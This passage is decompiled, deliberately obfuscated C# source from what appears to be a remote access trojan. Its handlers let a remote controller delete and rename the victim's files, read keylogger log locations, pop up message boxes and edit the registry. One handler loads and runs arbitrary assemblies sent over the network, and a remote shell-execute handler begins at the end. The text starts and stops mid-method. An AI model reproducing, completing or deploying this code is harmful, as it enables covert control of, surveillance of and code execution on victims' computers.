		//IL_0078: Unknown result type (might be due to invalid IL or missing references)
		//IL_0084: Expected O, but got Unknown
		bool isError = false;
		string statusMessage = null;
		Action<string> action = delegate(string msg)
		{
			isError = true;
			statusMessage = msg;
		};
		try
		{
			FileType pathType = message.PathType;
			if ((int)pathType != 0)
			{
				if ((int)pathType == 1)
				{
					Directory.Delete(message.Path, recursive: true);
					client.Send<SetStatusFileManager>(new SetStatusFileManager
					{
						Message = "Deleted directory",
						SetLastDirectorySeen = false
					});
				}
			}
			else
			{
				File.Delete(message.Path);
				client.Send<SetStatusFileManager>(new SetStatusFileManager
				{
					Message = "Deleted file",
					SetLastDirectorySeen = false
				});
			}
			\uf4e5䊷❙\uf81c�왐쐌⏈쏒鼳ᤚꉛ쯵빾\u0c3a䬆폺⿶掖畉(client, new GetDirectory
			{
				RemotePath = Path.GetDirectoryName(message.Path)
			});
		}
		catch (UnauthorizedAccessException)
		{
			action("DeletePath No permission");
		}
		catch (PathTooLongException)
		{
			action("DeletePath Path too long");
		}
		catch (DirectoryNotFoundException)
		{
			action("DeletePath Path not found");
		}
		catch (IOException)
		{
			action("DeletePath I/O error");
		}
		catch (Exception)
		{
			action("DeletePath Failed");
		}
		finally
		{
			if (isError && !string.IsNullOrEmpty(statusMessage))
			{
				client.Send<SetStatusFileManager>(new SetStatusFileManager
				{
					Message = statusMessage,
					SetLastDirectorySeen = false
				});
			}
		}
	}

	private void Ⰶ㗯頽쏆謒촪醿őשׁ⤨\u1a6a㔧읤㮢\ue847늓≕�ࡓ\uf0d5(ISender client, DoPathRename message)
	{
		//IL_0022: Unknown result type (might be due to invalid IL or missing references)
		//IL_0027: Unknown result type (might be due to invalid IL or missing references)
		//IL_0028: Unknown result type (might be due to invalid IL or missing references)
		//IL_0043: Unknown result type (might be due to invalid IL or missing references)
		//IL_0048: Unknown result type (might be due to invalid IL or missing references)
		//IL_0053: Unknown result type (might be due to invalid IL or missing references)
		//IL_005f: Expected O, but got Unknown
		//IL_002b: Unknown result type (might be due to invalid IL or missing references)
		//IL_002d: Invalid comparison between Unknown and I4
		//IL_010a: Unknown result type (might be due to invalid IL or missing references)
		//IL_010f: Unknown result type (might be due to invalid IL or missing references)
		//IL_011b: Unknown result type (might be due to invalid IL or missing references)
		//IL_0127: Expected O, but got Unknown
		//IL_0091: Unknown result type (might be due to invalid IL or missing references)
		//IL_0096: Unknown result type (might be due to invalid IL or missing references)
		//IL_00ac: Expected O, but got Unknown
		//IL_0073: Unknown result type (might be due to invalid IL or missing references)
		//IL_0078: Unknown result type (might be due to invalid IL or missing references)
		//IL_0083: Unknown result type (might be due to invalid IL or missing references)
		//IL_008f: Expected O, but got Unknown
		bool isError = false;
		string statusMessage = null;
		Action<string> action = delegate(string msg)
		{
			isError = true;
			statusMessage = msg;
		};
		try
		{
			FileType pathType = message.PathType;
			if ((int)pathType != 0)
			{
				if ((int)pathType == 1)
				{
					Directory.Move(message.Path, message.NewPath);
					client.Send<SetStatusFileManager>(new SetStatusFileManager
					{
						Message = "Renamed directory",
						SetLastDirectorySeen = false
					});
				}
			}
			else
			{
				File.Move(message.Path, message.NewPath);
				client.Send<SetStatusFileManager>(new SetStatusFileManager
				{
					Message = "Renamed file",
					SetLastDirectorySeen = false
				});
			}
			\uf4e5䊷❙\uf81c�왐쐌⏈쏒鼳ᤚꉛ쯵빾\u0c3a䬆폺⿶掖畉(client, new GetDirectory
			{
				RemotePath = Path.GetDirectoryName(message.NewPath)
			});
		}
		catch (UnauthorizedAccessException)
		{
			action("RenamePath No permission");
		}
		catch (PathTooLongException)
		{
			action("RenamePath Path too long");
		}
		catch (DirectoryNotFoundException)
		{
			action("RenamePath Path not found");
		}
		catch (IOException)
		{
			action("RenamePath I/O error");
		}
		catch (Exception)
		{
			action("RenamePath Failed");
		}
		finally
		{
			if (isError && !string.IsNullOrEmpty(statusMessage))
			{
				client.Send<SetStatusFileManager>(new SetStatusFileManager
				{
					Message = statusMessage,
					SetLastDirectorySeen = false
				});
			}
		}
	}

	private void 퉩莩䦩\u2e73煭緗\ue326龷㝍ꦟ체鱪\uf868扃☙\ue6aaᕹʖ芋㓾(int id)
	{
		if (\uecbc簥噓덁뺂嘵쮪ꧏ闚嵬蟈ⶾ�ꕽ踕䬴ᖚ忑ⶁꎻ.ContainsKey(id))
		{
			FileSplit obj = \uecbc簥噓덁뺂嘵쮪ꧏ闚嵬蟈ⶾ�ꕽ踕䬴ᖚ忑ⶁꎻ[id];
			if (obj != null)
			{
				obj.Dispose();
			}
			\uecbc簥噓덁뺂嘵쮪ꧏ闚嵬蟈ⶾ�ꕽ踕䬴ᖚ忑ⶁꎻ.TryRemove(id, out var _);
		}
	}

	public void Dispose()
	{
		Dispose(disposing: true);
		GC.SuppressFinalize(this);
	}

	protected virtual void Dispose(bool disposing)
	{
		//IL_0011: Unknown result type (might be due to invalid IL or missing references)
		//IL_001b: Expected O, but got Unknown
		if (!disposing)
		{
			return;
		}
		((Client)靂팰䯒혘ଽ⫠⅂礀ǝ\uf58bꈥ㫙ሁ㲪⢮Ṋ䡁涯噮七).ClientState -= new ClientStateEventHandler(䊟뗷\u0b02㦌�鼎�蹵�ꜹᠯ᭔竧❜뻽鞯\u1dd7鵡�锍);
		箱銉릜⧲膈苃ךּι浮ꉡꋮজ鍁鸑ㄖﱯ幉妱㷇\uf86c.Cancel();
		箱銉릜⧲膈苃ךּι浮ꉡꋮজ鍁鸑ㄖﱯ幉妱㷇\uf86c.Dispose();
		foreach (KeyValuePair<int, FileSplit> item in \uecbc簥噓덁뺂嘵쮪ꧏ闚嵬蟈ⶾ�ꕽ踕䬴ᖚ忑ⶁꎻ)
		{
			FileSplit value = item.Value;
			if (value != null)
			{
				value.Dispose();
			}
		}
		\uecbc簥噓덁뺂嘵쮪ꧏ闚嵬蟈ⶾ�ꕽ踕䬴ᖚ忑ⶁꎻ.Clear();
	}
}
public class 俌䣁챺⥺ᚽ\ufaf8ਇ傕\ue464枯䪼趆퍮영䌈\u0fb3\ue785⬈低境 : IMessageProcessor
{
	public bool CanExecute(IMessage message)
	{
		return message is GetKeyloggerLogsDirectory;
	}

	public bool CanExecuteFrom(ISender sender)
	{
		return true;
	}

	public void Execute(ISender sender, IMessage message)
	{
		GetKeyloggerLogsDirectory val = (GetKeyloggerLogsDirectory)(object)((message is GetKeyloggerLogsDirectory) ? message : null);
		if (val != null)
		{
			வﶒỘ鱴ﹴ끨ꑹꍝ放�縄ﻸ稀\u180b\uf228焚熎詬⥱琥(sender, val);
		}
	}

	public void வﶒỘ鱴ﹴ끨ꑹꍝ放�縄ﻸ稀\u180b\uf228焚熎詬⥱琥(ISender client, GetKeyloggerLogsDirectory message)
	{
		//IL_0001: Unknown result type (might be due to invalid IL or missing references)
		//IL_0006: Unknown result type (might be due to invalid IL or missing references)
		//IL_0016: Expected O, but got Unknown
		client.Send<GetKeyloggerLogsDirectoryResponse>(new GetKeyloggerLogsDirectoryResponse
		{
			LogsDirectory = 泠ۻ䀺⟼甎㢈寤曦\uee62ኊ笮慎�〣ဪ\ueeefꈿ㇒Ꝕꑬ.ޏ㗈\u0a4dꕷ賬↘갠ሩ\u2452ㄹ鴼쉆\uf4e9豨辦钏\u0d49\uf464\u0cbe\u2dc7
		});
	}
}
public class 䨆輯䞾\u0de5�썝퀖ᒿ䑣᭵य\ue634塆쩒昶嗢뀖鯶ಣ졕 : IMessageProcessor
{
	public bool CanExecute(IMessage message)
	{
		return message is DoShowMessageBox;
	}

	public bool CanExecuteFrom(ISender sender)
	{
		return true;
	}

	public void Execute(ISender sender, IMessage message)
	{
		DoShowMessageBox val = (DoShowMessageBox)(object)((message is DoShowMessageBox) ? message : null);
		if (val != null)
		{
			籗ຫ㲓�밳퉾䩲Ȣݮ綂촲潕뚊⎢획됮䭚㐍�䯀(sender, val);
		}
	}

	private void 籗ຫ㲓�밳퉾䩲Ȣݮ綂촲潕뚊⎢획됮䭚㐍�䯀(ISender client, DoShowMessageBox message)
	{
		//IL_0029: Unknown result type (might be due to invalid IL or missing references)
		//IL_002e: Unknown result type (might be due to invalid IL or missing references)
		//IL_003e: Expected O, but got Unknown
		int num;
		Thread thread = new Thread((ThreadStart)delegate
		{
			//IL_0031: Unknown result type (might be due to invalid IL or missing references)
			//IL_0050: Unknown result type (might be due to invalid IL or missing references)
			//IL_005b: Unknown result type (might be due to invalid IL or missing references)
			//IL_0065: Expected I4, but got Unknown
			num = (int)MessageBox.Show(message.Text, message.Caption, (MessageBoxButtons)Enum.Parse(typeof(MessageBoxButtons), message.Button), (MessageBoxIcon)Enum.Parse(typeof(MessageBoxIcon), message.Icon), (MessageBoxDefaultButton)0, (MessageBoxOptions)131072);
		});
		thread.IsBackground = true;
		thread.Start();
		client.Send<SetStatus>(new SetStatus
		{
			Message = "Successfully displayed MessageBox"
		});
	}
}
public class 㼗ㆣϷ⅏ᚋ猘궷�恨妻�䕚텍ꓬ辯廒捆嚣䬄\uec83 : IMessageProcessor
{
	private readonly \uf42f⫎ᢎ⢶䣅䑑㠬⥫４\u1df1봡ߜ눥�꺅⇶퀺\ue4b8峭混 卮鮒쇼鎹\uf7fb輂畠ڏ䄼闦Ⱪ늄⌸允\uaaca杽\u1756\ue134데쳑;

	private readonly 〿雏๏\u2efb椦�䰚\u0a3b殮圲툏櫱⑃멶䭹鱌졅눲⸌㪚 ꑩ\ue918끣྾외荾閄ᡸꉢ箭౼⏜旫ꨏ⭿멇℃ꇡ곛瓋;

	public 㼗ㆣϷ⅏ᚋ猘궷�恨妻�䕚텍ꓬ辯廒捆嚣䬄\uec83(\uf42f⫎ᢎ⢶䣅䑑㠬⥫４\u1df1봡ߜ눥�꺅⇶퀺\ue4b8峭混 client, 〿雏๏\u2efb椦�䰚\u0a3b殮圲툏櫱⑃멶䭹鱌졅눲⸌㪚 InvokedClientApp)
	{
		卮鮒쇼鎹\uf7fb輂畠ڏ䄼闦Ⱪ늄⌸允\uaaca杽\u1756\ue134데쳑 = client;
		ꑩ\ue918끣྾외荾閄ᡸꉢ箭౼⏜旫ꨏ⭿멇℃ꇡ곛瓋 = InvokedClientApp;
	}

	public bool CanExecute(IMessage message)
	{
		if (message is DoPlugin || message is CheckPlugin)
		{
			return true;
		}
		return message is GetLoadedPlugins;
	}

	public bool CanExecuteFrom(ISender sender)
	{
		return ((object)卮鮒쇼鎹\uf7fb輂畠ڏ䄼闦Ⱪ늄⌸允\uaaca杽\u1756\ue134데쳑).Equals((object?)sender);
	}

	public void Execute(ISender sender, IMessage message)
	{
		DoPlugin val = (DoPlugin)(object)((message is DoPlugin) ? message : null);
		if (val == null)
		{
			CheckPlugin val2 = (CheckPlugin)(object)((message is CheckPlugin) ? message : null);
			if (val2 == null)
			{
				GetLoadedPlugins val3 = (GetLoadedPlugins)(object)((message is GetLoadedPlugins) ? message : null);
				if (val3 != null)
				{
					럒\uf8aa囻蜑蓿源�嬆\ue752\uf1e1僋詟흺\ufaf4�㑜䣷띀夽Ꜽ(sender, val3);
				}
			}
			else
			{
				\ued56營䲻斖�ꊳꯗ䨿\u089f⑥葤风㭐�Ａ�콊쉏칼벅(sender, val2);
			}
		}
		else
		{
			ꂇ茮勌ⓛ\uf7ea䩂䝐楿鍛왒㬢噊聈⮝�\u0e5d떵婰�麄(sender, val);
		}
	}

	public void 꾋ꃛ\uf382ᵗ\uf442媬ᚷ⿀椌咣܂ꍗ舣渨ꗙ뒨ㆪ방쟭랷(IMessageProcessor MP, string MPName)
	{
		//IL_0013: Unknown result type (might be due to invalid IL or missing references)
		//IL_0018: Unknown result type (might be due to invalid IL or missing references)
		//IL_0024: Expected O, but got Unknown
		//IL_002a: Unknown result type (might be due to invalid IL or missing references)
		//IL_002f: Unknown result type (might be due to invalid IL or missing references)
		//IL_0036: Unknown result type (might be due to invalid IL or missing references)
		//IL_0042: Expected O, but got Unknown
		ꑩ\ue918끣྾외荾閄ᡸꉢ箭౼⏜旫ꨏ⭿멇℃ꇡ곛瓋.坆䥋奥\uf4f5\uf6da낊铭䏥不\ua8b9ᆌ\uefd4\ue784\u0fe4�ỉ\ue809╰섽ј(MP, MPName);
		((Client)卮鮒쇼鎹\uf7fb輂畠ڏ䄼闦Ⱪ늄⌸允\uaaca杽\u1756\ue134데쳑).Send<PluginLoadedResponse>(new PluginLoadedResponse
		{
			PluginName = MPName
		});
		((Client)卮鮒쇼鎹\uf7fb輂畠ڏ䄼闦Ⱪ늄⌸允\uaaca杽\u1756\ue134데쳑).Send<CheckPluginResponse>(new CheckPluginResponse
		{
			PluginName = MPName,
			Status = true
		});
	}

	private void ꂇ茮勌ⓛ\uf7ea䩂䝐楿鍛왒㬢噊聈⮝�\u0e5d떵婰�麄(ISender client, DoPlugin message)
	{
		if (message.MsgpackData != null)
		{
			try
			{
				byte[] rawAssembly = 腦뚷鉺喳\uaa2aဉቃ歧桑Ⴟ뫚蚒\uf57c�ᠶⓋ袦⁼\ue19b⋧.㩺먊여떇\uf21a\ue8c5찿厹撫㵆\uf0af癪濨餑瘪晆凖み\ue295蓅(message.MsgpackData);
				Activator.CreateInstance(AppDomain.CurrentDomain.Load(rawAssembly).GetType("Plugin.Plugin"));
				return;
			}
			catch (Exception)
			{
				return;
			}
		}
		try
		{
			string pluginName = message.PluginName;
			byte[] rawAssembly2 = 腦뚷鉺喳\uaa2aဉቃ歧桑Ⴟ뫚蚒\uf57c�ᠶⓋ袦⁼\ue19b⋧.㩺먊여떇\uf21a\ue8c5찿厹撫㵆\uf0af癪濨餑瘪晆凖み\ue295蓅(message.Data);
			dynamic val = Activator.CreateInstance(AppDomain.CurrentDomain.Load(rawAssembly2).GetType("Plugin.Plugin"));
			Action<IMessageProcessor, string> action = 꾋ꃛ\uf382ᵗ\uf442媬ᚷ⿀椌咣܂ꍗ舣渨ꗙ뒨ㆪ방쟭랷;
			val.ExecuteCallback(action, pluginName);
		}
		catch (Exception)
		{
		}
	}

	private void \ued56營䲻斖�ꊳꯗ䨿\u089f⑥葤风㭐�Ａ�콊쉏칼벅(ISender client, CheckPlugin message)
	{
		//IL_0013: Unknown result type (might be due to invalid IL or missing references)
		//IL_0018: Unknown result type (might be due to invalid IL or missing references)
		//IL_0024: Unknown result type (might be due to invalid IL or missing references)
		//IL_0030: Expected O, but got Unknown
		bool status = ꑩ\ue918끣྾외荾閄ᡸꉢ箭౼⏜旫ꨏ⭿멇℃ꇡ곛瓋.䮏怘찅㋮䵹倭鮟枳셞䜼뱋\ue08b哎얱阴榊\u0fe6\u1ad2㉝\u0de3(message.PluginName);
		client.Send<CheckPluginResponse>(new CheckPluginResponse
		{
			PluginName = message.PluginName,
			Status = status
		});
	}

	private void 럒\uf8aa囻蜑蓿源�嬆\ue752\uf1e1僋詟흺\ufaf4�㑜䣷띀夽Ꜽ(ISender client, GetLoadedPlugins message)
	{
		//IL_0042: Unknown result type (might be due to invalid IL or missing references)
		//IL_0047: Unknown result type (might be due to invalid IL or missing references)
		//IL_0053: Expected O, but got Unknown
		List<string> list = new List<string>();
		foreach (string item in ꑩ\ue918끣྾외荾閄ᡸꉢ箭౼⏜旫ꨏ⭿멇℃ꇡ곛瓋.汥ᯋ佣ﮟ\u0086诧뀇祁푭�䠱舘⹗㘘悭龾컳쁊롪�)
		{
			list.Add(item);
		}
		client.Send<GetLoadedPluginsResponse>(new GetLoadedPluginsResponse
		{
			PluginNames = list
		});
	}
}
public class ͱ䚽ወ垹ঔ럥䧀鼲\ued7b笵鿕䄹硠䩡뼌\uef62퓇㔥쀻ꄏ : IMessageProcessor
{
	public bool CanExecute(IMessage message)
	{
		if (message is DoLoadRegistryKey || message is DoCreateRegistryKey || message is DoDeleteRegistryKey || message is DoRenameRegistryKey || message is DoCreateRegistryValue || message is DoDeleteRegistryValue || message is DoRenameRegistryValue)
		{
			return true;
		}
		return message is DoChangeRegistryValue;
	}

	public bool CanExecuteFrom(ISender sender)
	{
		return true;
	}

	public void Execute(ISender sender, IMessage message)
	{
		DoLoadRegistryKey val = (DoLoadRegistryKey)(object)((message is DoLoadRegistryKey) ? message : null);
		if (val == null)
		{
			DoCreateRegistryKey val2 = (DoCreateRegistryKey)(object)((message is DoCreateRegistryKey) ? message : null);
			if (val2 == null)
			{
				DoDeleteRegistryKey val3 = (DoDeleteRegistryKey)(object)((message is DoDeleteRegistryKey) ? message : null);
				if (val3 == null)
				{
					DoRenameRegistryKey val4 = (DoRenameRegistryKey)(object)((message is DoRenameRegistryKey) ? message : null);
					if (val4 == null)
					{
						DoCreateRegistryValue val5 = (DoCreateRegistryValue)(object)((message is DoCreateRegistryValue) ? message : null);
						if (val5 == null)
						{
							DoDeleteRegistryValue val6 = (DoDeleteRegistryValue)(object)((message is DoDeleteRegistryValue) ? message : null);
							if (val6 == null)
							{
								DoRenameRegistryValue val7 = (DoRenameRegistryValue)(object)((message is DoRenameRegistryValue) ? message : null);
								if (val7 == null)
								{
									DoChangeRegistryValue val8 = (DoChangeRegistryValue)(object)((message is DoChangeRegistryValue) ? message : null);
									if (val8 != null)
									{
										鈸詹⹈ꨋ\ue24dⓥ硰괨\uef3a\u0b8b�䟸箖鮗䆯�勮鬋ퟄ샞(sender, val8);
									}
								}
								else
								{
									㳎ȷᱣ飼ꌰ폋雡祬㛌胵㹔\ued1d냕謞\u2d72쏾훥忧\u0ddb\u0e49(sender, val7);
								}
							}
							else
							{
								۞劾ꞁ迫뙙盥베欺흲ไ皞\uf0dc揶ຘⱭ࠵\ued07帋\ue543鐴(sender, val6);
							}
						}
						else
						{
							돈滑뙣뿅뎗\uf86a驜꼼᧧駬荝ᙥ㡬ਘ눕✾ì✢䫍뫯(sender, val5);
						}
					}
					else
					{
						雘ⶋ\uefeb谬�띓䒾띾稱뚢鎲蓿陆晱\ue045屴洝ꩤ\uaa3eᵒ(sender, val4);
					}
				}
				else
				{
					嚲⦤㍡\ue780廙찑ɯኊ孲쐫䇪蛃�쩞뼉びᶲ铇\uf320웪(sender, val3);
				}
			}
			else
			{
				ᤑ톧ཀྵ!㚿㙋싙\uec47\u058b蚃玓\ue00f\u0c43ᴊ\uf6f0㊎鑂\ue478霍鶸(sender, val2);
			}
		}
		else
		{
			폽䦼\ue73d횖鰂畏\uf120牠Æ瑏놳좩꽊腒騇镎ᡯ怠赏䳛(sender, val);
		}
	}

	private void 폽䦼\ue73d횖鰂畏\uf120牠Æ瑏놳좩꽊腒騇镎ᡯ怠赏䳛(ISender client, DoLoadRegistryKey message)
	{
		//IL_0000: Unknown result type (might be due to invalid IL or missing references)
		//IL_0006: Expected O, but got Unknown
		GetRegistryKeysResponse val = new GetRegistryKeysResponse();
		try
		{
			\u0328㙁駂\uffc1犙䉩㿳ꃱ\u1a5d盠棰ꮕ쎫♩⣡ꈔ䊌\u0e65牍퉪 obj = new \u0328㙁駂\uffc1犙䉩㿳ꃱ\u1a5d盠棰ꮕ쎫♩⣡ꈔ䊌\u0e65牍퉪();
			obj.왧�椊\ued1f！\ue3b6釻龝鶍널ﴢﯡظ\ue8aa\ue2f6\uefa3ᘷ使偟㈭(message.RootKeyName);
			val.Matches = obj.Matches;
			val.IsError = false;
		}
		catch (Exception ex)
		{
			val.IsError = true;
			val.ErrorMsg = ex.Message;
		}
		val.RootKey = message.RootKeyName;
		client.Send<GetRegistryKeysResponse>(val);
	}

	private void ᤑ톧ཀྵ!㚿㙋싙\uec47\u058b蚃玓\ue00f\u0c43ᴊ\uf6f0㊎鑂\ue478霍鶸(ISender client, DoCreateRegistryKey message)
	{
		//IL_0000: Unknown result type (might be due to invalid IL or missing references)
		//IL_0006: Expected O, but got Unknown
		//IL_003d: Unknown result type (might be due to invalid IL or missing references)
		//IL_0042: Unknown result type (might be due to invalid IL or missing references)
		//IL_0049: Unknown result type (might be due to invalid IL or missing references)
		//IL_0054: Unknown result type (might be due to invalid IL or missing references)
		//IL_0060: Expected O, but got Unknown
		GetCreateRegistryKeyResponse val = new GetCreateRegistryKeyResponse();
		string name = "";
		string errorMsg;
		try
		{
			val.IsError = !戍熢\u1b02₤ඡ衫퀌䫭哨웲꺥\ue23fꉇ䋺븆밃耒℮\u0731䣋.ᾋ༶泇吺ᓳ痄蕋ꐇ婶ㄠ䴇꩷뙄褯咋❬콑⟗\ue985ᨇ(message.ParentPath, out name, out errorMsg);
		}
		catch (Exception ex)
		{
			val.IsError = true;
			errorMsg = ex.Message;
		}
		val.ErrorMsg = errorMsg;
		val.Match = new RegSeekerMatch
		{
			Key = name,
			Data = 凲ⱀ\u0f9dꂦ뼌鉼퇰ꮄ쏠삖�䔰ᅋ᧗轌＜꾥䀅켃錭.㚵萺Ⱕ�ꋁṙ쐤쯞ᯐ컊ᥔ\u089e⮫௩㼌凍룉렁ဒ젇(),
			HasSubKeys = false
		};
		val.ParentPath = message.ParentPath;
		client.Send<GetCreateRegistryKeyResponse>(val);
	}

	private void 嚲⦤㍡\ue780廙찑ɯኊ孲쐫䇪蛃�쩞뼉びᶲ铇\uf320웪(ISender client, DoDeleteRegistryKey message)
	{
		//IL_0000: Unknown result type (might be due to invalid IL or missing references)
		//IL_0006: Expected O, but got Unknown
		GetDeleteRegistryKeyResponse val = new GetDeleteRegistryKeyResponse();
		string errorMsg;
		try
		{
			val.IsError = !戍熢\u1b02₤ඡ衫퀌䫭哨웲꺥\ue23fꉇ䋺븆밃耒℮\u0731䣋.渵⇗驷茗ꕛ査鍬齭칦밲⧳ꝑ홯㵘奯懅㣪鋑쟿乵(message.KeyName, message.ParentPath, out errorMsg);
		}
		catch (Exception ex)
		{
			val.IsError = true;
			errorMsg = ex.Message;
		}
		val.ErrorMsg = errorMsg;
		val.ParentPath = message.ParentPath;
		val.KeyName = message.KeyName;
		client.Send<GetDeleteRegistryKeyResponse>(val);
	}

	private void 雘ⶋ\uefeb谬�띓䒾띾稱뚢鎲蓿陆晱\ue045屴洝ꩤ\uaa3eᵒ(ISender client, DoRenameRegistryKey message)
	{
		//IL_0000: Unknown result type (might be due to invalid IL or missing references)
		//IL_0006: Expected O, but got Unknown
		GetRenameRegistryKeyResponse val = new GetRenameRegistryKeyResponse();
		string errorMsg;
		try
		{
			val.IsError = !戍熢\u1b02₤ඡ衫퀌䫭哨웲꺥\ue23fꉇ䋺븆밃耒℮\u0731䣋.ވẲ畞ﳫ勖䎮ძ泿㴒䍺踁ଜ䜨꽢�텥률�밯鞶(message.OldKeyName, message.NewKeyName, message.ParentPath, out errorMsg);
		}
		catch (Exception ex)
		{
			val.IsError = true;
			errorMsg = ex.Message;
		}
		val.ErrorMsg = errorMsg;
		val.ParentPath = message.ParentPath;
		val.OldKeyName = message.OldKeyName;
		val.NewKeyName = message.NewKeyName;
		client.Send<GetRenameRegistryKeyResponse>(val);
	}

	private void 돈滑뙣뿅뎗\uf86a驜꼼᧧駬荝ᙥ㡬ਘ눕✾ì✢䫍뫯(ISender client, DoCreateRegistryValue message)
	{
		//IL_0000: Unknown result type (might be due to invalid IL or missing references)
		//IL_0006: Expected O, but got Unknown
		GetCreateRegistryValueResponse val = new GetCreateRegistryValueResponse();
		string name = "";
		string errorMsg;
		try
		{
			val.IsError = !戍熢\u1b02₤ඡ衫퀌䫭哨웲꺥\ue23fꉇ䋺븆밃耒℮\u0731䣋.ﳱ瑱ꋾ㿢绪藋嫽欏䗹鮋뼟圩䴋ힲ훌荒頵ꎤ뢢⼊(message.KeyPath, message.Kind, out name, out errorMsg);
		}
		catch (Exception ex)
		{
			val.IsError = true;
			errorMsg = ex.Message;
		}
		val.ErrorMsg = errorMsg;
		val.Value = 凲ⱀ\u0f9dꂦ뼌鉼퇰ꮄ쏠삖�䔰ᅋ᧗轌＜꾥䀅켃錭.쫆\ue55b\uf4b8⛬坫Ṅ앣痢ᶢนꏫ쀐�菫\ua67bꚢ糈㷢酘Ŗ(name, message.Kind, message.Kind.GetDefault());
		val.KeyPath = message.KeyPath;
		client.Send<GetCreateRegistryValueResponse>(val);
	}

	private void ۞劾ꞁ迫뙙盥베欺흲ไ皞\uf0dc揶ຘⱭ࠵\ued07帋\ue543鐴(ISender client, DoDeleteRegistryValue message)
	{
		//IL_0000: Unknown result type (might be due to invalid IL or missing references)
		//IL_0006: Expected O, but got Unknown
		GetDeleteRegistryValueResponse val = new GetDeleteRegistryValueResponse();
		string errorMsg;
		try
		{
			val.IsError = !戍熢\u1b02₤ඡ衫퀌䫭哨웲꺥\ue23fꉇ䋺븆밃耒℮\u0731䣋.\uf8ae⑂淲뼕⁕唲띢媰༅㬎殿௦뮒悵\u0a37ѝ��청\ua8f0(message.KeyPath, message.ValueName, out errorMsg);
		}
		catch (Exception ex)
		{
			val.IsError = true;
			errorMsg = ex.Message;
		}
		val.ErrorMsg = errorMsg;
		val.ValueName = message.ValueName;
		val.KeyPath = message.KeyPath;
		client.Send<GetDeleteRegistryValueResponse>(val);
	}

	private void 㳎ȷᱣ飼ꌰ폋雡祬㛌胵㹔\ued1d냕謞\u2d72쏾훥忧\u0ddb\u0e49(ISender client, DoRenameRegistryValue message)
	{
		//IL_0000: Unknown result type (might be due to invalid IL or missing references)
		//IL_0006: Expected O, but got Unknown
		GetRenameRegistryValueResponse val = new GetRenameRegistryValueResponse();
		string errorMsg;
		try
		{
			val.IsError = !戍熢\u1b02₤ඡ衫퀌䫭哨웲꺥\ue23fꉇ䋺븆밃耒℮\u0731䣋.镺\u1977荟뢙ㄆ哣䟰音湠櫊瀞ﺳ誄㞥\uecbe爋邁ໞ錨최(message.OldValueName, message.NewValueName, message.KeyPath, out errorMsg);
		}
		catch (Exception ex)
		{
			val.IsError = true;
			errorMsg = ex.Message;
		}
		val.ErrorMsg = errorMsg;
		val.KeyPath = message.KeyPath;
		val.OldValueName = message.OldValueName;
		val.NewValueName = message.NewValueName;
		client.Send<GetRenameRegistryValueResponse>(val);
	}

	private void 鈸詹⹈ꨋ\ue24dⓥ硰괨\uef3a\u0b8b�䟸箖鮗䆯�勮鬋ퟄ샞(ISender client, DoChangeRegistryValue message)
	{
		//IL_0000: Unknown result type (might be due to invalid IL or missing references)
		//IL_0006: Expected O, but got Unknown
		GetChangeRegistryValueResponse val = new GetChangeRegistryValueResponse();
		string errorMsg;
		try
		{
			val.IsError = !戍熢\u1b02₤ඡ衫퀌䫭哨웲꺥\ue23fꉇ䋺븆밃耒℮\u0731䣋.ꋉ걟큍\uef11㜵ꟊឩ䝴᭻࿉乢䫘珄絤䢯։붠ἇ\ue6cdᗕ(message.Value, message.KeyPath, out errorMsg);
		}
		catch (Exception ex)
		{
			val.IsError = true;
			errorMsg = ex.Message;
		}
		val.ErrorMsg = errorMsg;
		val.KeyPath = message.KeyPath;
		val.Value = message.Value;
		client.Send<GetChangeRegistryValueResponse>(val);
	}
}
public class 琕ߎ\uea9f뚲ꛬ哴圞죶껍徜ᙍ㙮漏茤ꍷ盔귍�왍鵘 : IMessageProcessor, IDisposable
{
	private 綣ॺ흏\ufff1㴁達ᘔꓮ鹤\u0344춉㔳䜃㏶\ueae0\ue4ac絎牟∝ɽ 矁ܩ죰曹鵣�穹蚦�∾쎊\u1dc4㩿襎Ꙑ묥\ue44e\uf41cņ漣;

	private readonly \uf42f⫎ᢎ⢶䣅䑑㠬⥫４\u1df1봡ߜ눥�꺅⇶퀺\ue4b8峭混 ⛠䋵糏謳ⳮ븟\uf683隵卮憩ⵣ涒䑚ᓖ뮸ꃵﯺ\u00b4\ue6a7\ua87d;

	public 琕ߎ\uea9f뚲ꛬ哴圞죶껍徜ᙍ㙮漏茤ꍷ盔귍�왍鵘(\uf42f⫎ᢎ⢶䣅䑑㠬⥫４\u1df1봡ߜ눥�꺅⇶퀺\ue4b8峭混 client)
	{
		//IL_001a: Unknown result type (might be due to invalid IL or missing references)
		//IL_0024: Expected O, but got Unknown
		⛠䋵糏謳ⳮ븟\uf683隵卮憩ⵣ涒䑚ᓖ뮸ꃵﯺ\u00b4\ue6a7\ua87d = client;
		((Client)⛠䋵糏謳ⳮ븟\uf683隵卮憩ⵣ涒䑚ᓖ뮸ꃵﯺ\u00b4\ue6a7\ua87d).ClientState += new ClientStateEventHandler(䙚\uf630䅁毤쬎갆ꥹ븤뙌⯳櫃\uf4e9뗻猜섕\uf293얖ᔠᚻ䬿);
	}

	private void 䙚\uf630䅁毤쬎갆ꥹ븤뙌⯳櫃\uf4e9뗻猜섕\uf293얖ᔠᚻ䬿(Client s, bool connected)
	{
		if (!connected)
		{
			矁ܩ죰曹鵣�穹蚦�∾쎊\u1dc4㩿襎Ꙑ묥\ue44e\uf41cņ漣?.Dispose();
		}
	}

	public bool CanExecute(IMessage message)
	{
		return message is DoShellExecute;
	}

	public bool CanExecuteFrom(ISender sender)
	{
		return true;
	}

	public void Execute(ISender sender, IMessage message)
	{
		DoShellExecute val = (DoShellExecute)(object)((message is DoShellExecute) ? message : null);
		if (val != null)
		{
			婬ᥚ䯷㲨磱ሱꃝ푄\u0e4b덱둩\u0d80맥㩣꓅栾䵮ୠ䜒拳(sender, val);
		}
	}

	private void 婬ᥚ䯷㲨磱ሱꃝ푄\u0e4b덱둩\u0d80맥㩣꓅栾䵮ୠ䜒拳(ISender client, DoShellExecute message)
	{
		string command = message.Command;
		if (矁ܩ죰曹鵣�穹蚦�∾쎊\u1dc4㩿襎Ꙑ묥\ue44e\uf41cņ漣 != null || !(command == "exit"))
		{
			if (矁ܩ죰曹鵣�穹蚦�∾쎊\u1dc4㩿襎Ꙑ묥\ue44e\uf41cņ漣 == null)
			{
